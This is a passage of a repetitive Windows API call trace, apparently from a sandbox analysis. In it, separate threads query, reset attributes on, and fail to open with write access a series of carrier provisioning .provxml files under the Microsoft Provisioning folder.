(Lesotho)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.850] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305ec30) returned 1 [0178.850] RtlExitUserThread (Status=0x0) Thread: id = 2804 os_tid = 0x6e8 [0178.583] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\241__connections_cellular_libyana (libya)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.848] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.848] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\241__connections_cellular_libyana (libya)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.848] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.848] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fefed0) returned 1 [0178.848] RtlExitUserThread (Status=0x0) Thread: id = 2805 os_tid = 0x954 [0178.584] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\242__connections_cellular_a1 mobilkom (liechtenstein)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.847] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.847] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\242__connections_cellular_a1 mobilkom (liechtenstein)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.847] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.847] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305ed90) returned 1 [0178.847] RtlExitUserThread (Status=0x0) Thread: id = 2806 os_tid = 0xb04 [0178.584] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\243__connections_cellular_bitė lietuva (lithuania)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.846] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.846] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\243__connections_cellular_bitė lietuva (lithuania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.846] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.846] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01060) returned 1 [0178.846] RtlExitUserThread (Status=0x0) Thread: id = 2807 os_tid = 0xaf8 [0178.585] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\244__connections_cellular_omnitel (lithuania)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.844] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.845] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\244__connections_cellular_omnitel (lithuania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.845] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.845] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f00c98) returned 1 [0178.845] RtlExitUserThread (Status=0x0) Thread: id = 2808 os_tid = 0xb08 [0178.585] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\245__connections_cellular_tele2 (lithuania)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.843] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.843] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\245__connections_cellular_tele2 (lithuania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.843] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.844] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f00330) returned 1 [0178.844] RtlExitUserThread (Status=0x0) Thread: id = 2809 os_tid = 0xb10 [0178.586] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\246__connections_cellular_tele2 (lithuania)_i1$(__mvid)@wap.provxml")) returned 0x20 [0178.842] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.842] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\246__connections_cellular_tele2 (lithuania)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.842] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.842] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f00080) returned 1 [0178.842] RtlExitUserThread (Status=0x0) Thread: id = 2810 os_tid = 0x1fc [0178.587] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\247__connections_cellular_tango (luxembourg)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.841] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.841] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\247__connections_cellular_tango (luxembourg)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.841] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.841] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f00df0) returned 1 [0178.841] RtlExitUserThread (Status=0x0) Thread: id = 2811 os_tid = 0x20c [0178.588] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\248__connections_cellular_orange (luxembourg)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.840] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.840] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\248__connections_cellular_orange (luxembourg)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.840] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.840] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f005e0) returned 1 [0178.840] RtlExitUserThread (Status=0x0) Thread: id = 2812 os_tid = 0x25c [0178.588] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\249__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.838] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.839] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\249__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.839] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.839] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0018) returned 1 [0178.839] RtlExitUserThread (Status=0x0) Thread: id = 2813 os_tid = 0x268 [0178.589] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\24__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0178.802] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0178.802] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\24__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.802] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0178.802] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f00738) returned 1 [0178.802] RtlExitUserThread (Status=0x0) Thread: id = 2814 os_tid = 0x2bc [0178.589] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\250__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.801] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.801] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\250__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.801] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.801] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0160) returned 1 [0178.801] RtlExitUserThread (Status=0x0) Thread: id = 2815 os_tid = 0x2d0 [0178.590] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\251__connections_cellular_hutchison - 3 (macao sar)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.799] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.800] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\251__connections_cellular_hutchison - 3 (macao sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.800] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.800] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f011c0) returned 1 [0178.800] RtlExitUserThread (Status=0x0) Thread: id = 2816 os_tid = 0xb48 [0178.591] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\252__connections_cellular_smartone (macao sar)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.798] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.798] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\252__connections_cellular_smartone (macao sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.798] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.799] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01320) returned 1 [0178.799] RtlExitUserThread (Status=0x0) Thread: id = 2817 os_tid = 0x320 [0178.591] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\253__connections_cellular_t-mobile macedonia (macedonia, fyro)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.837] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.837] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\253__connections_cellular_t-mobile macedonia (macedonia, fyro)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.837] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.838] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01478) returned 1 [0178.838] RtlExitUserThread (Status=0x0) Thread: id = 2818 os_tid = 0x394 [0178.592] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\254__connections_cellular_vip operator (republic of macedonia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.836] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.836] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\254__connections_cellular_vip operator (republic of macedonia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.836] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.836] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f015f0) returned 1 [0178.836] RtlExitUserThread (Status=0x0) Thread: id = 2819 os_tid = 0x3d8 [0178.592] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all 